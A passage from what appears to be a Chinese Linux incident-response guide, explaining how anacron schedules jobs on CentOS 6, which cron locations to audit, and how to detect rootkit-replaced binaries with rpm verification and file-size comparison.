[root@localhost/]#cat/etc/anacrontab #/etc/anacrontab:configurationfileforanacron #Seeanacron(8)andanacrontab(5)fordetails. SHELL=/bin/sh PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root #themaximalrandomdelayaddedtothebasedelayofthejobs RANDOM_DELAY=45 #thejobswillbestartedduringthefollowinghoursonly START_HOURS_RANGE=3-22 #periodindaysdelayinminutesjob-identifiercommand 15cron.dailynicerun-parts/etc/cron.daily 725cron.weeklynicerun-parts/etc/cron.weekly @monthly45cron.monthlynicerun-parts/etc/cron.monthly这里多了两条配置
RANDOM_DELAY=45表示定时触发后随机延迟45分钟以内的时间再启动应用
START_HOURS_RANGE=3-22表示程序在3时至22时之间会启动
看到这里我们就明白了在CeontOS6 里面,crond会检查/etc/cron.d里面的配置,里面有一个0hourly文件,每小时去运行一次/etc/cron.hourly目录,该目录下面有一个0anacron文件,这样0anacron文件就能每小时运行一次,这里其实执行的是/usr/sbin/anacron -s。anacron读取配置文件/etc/anacrontab,将当前时间与/var/spool/anacron目录下面的文件里面的时间戳作对比,如果需要则去运行/etc/anacrontab对应的条目。
总结:
应急响应中关于定时任务应该排查的/etc/crontab,/etc/cron.d,/var/spool/cron/{user},然后顺藤摸瓜去看其他调用的目录/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly,/etc/anacrontab 。
其中容易忽视的就是/etc/anacrontab
在CentOS6下我们做个测试:
编辑/etc/anacrontab
修改RANDOM_DELAY=1
添加1 1 cron.test echo 1 >> /tmp/1.txt
[root@localhostcron.weekly]#/usr/sbin/anacron-s等待一分多钟后,可以看到
[root@localhostcron.weekly]#cat/var/spool/anacron/cron.test 20170719 [root@localhostcron.weekly]#cat/tmp/1.txt 10x09 Rootkit
检查命令替换
1)系统完整性可以通过rpm自带的-Va来校验检查所有的rpm软件包,有哪些被篡改了,防止rpm也被替换,上传一个安全干净稳定版本rpm二进制到服务器上进行检查。
例如我替换一下/bin/ps,然后使用rpm -qaV查看
[root@vincenthostnametmp]#rpm-qaV S.?....T./bin/ps2)比对命令的大小
例如正常的ps和netstat大小
[root@vincenttmp]#ll/bin/ps -rwxr-xr-x1rootroot8711211月152012/bin/ps [root@vincenttmp]#ll/bin/netstat -rwxr-xr-x1rootroot1282165月102012/bin/netstat 下面是其中有一次应急时的记录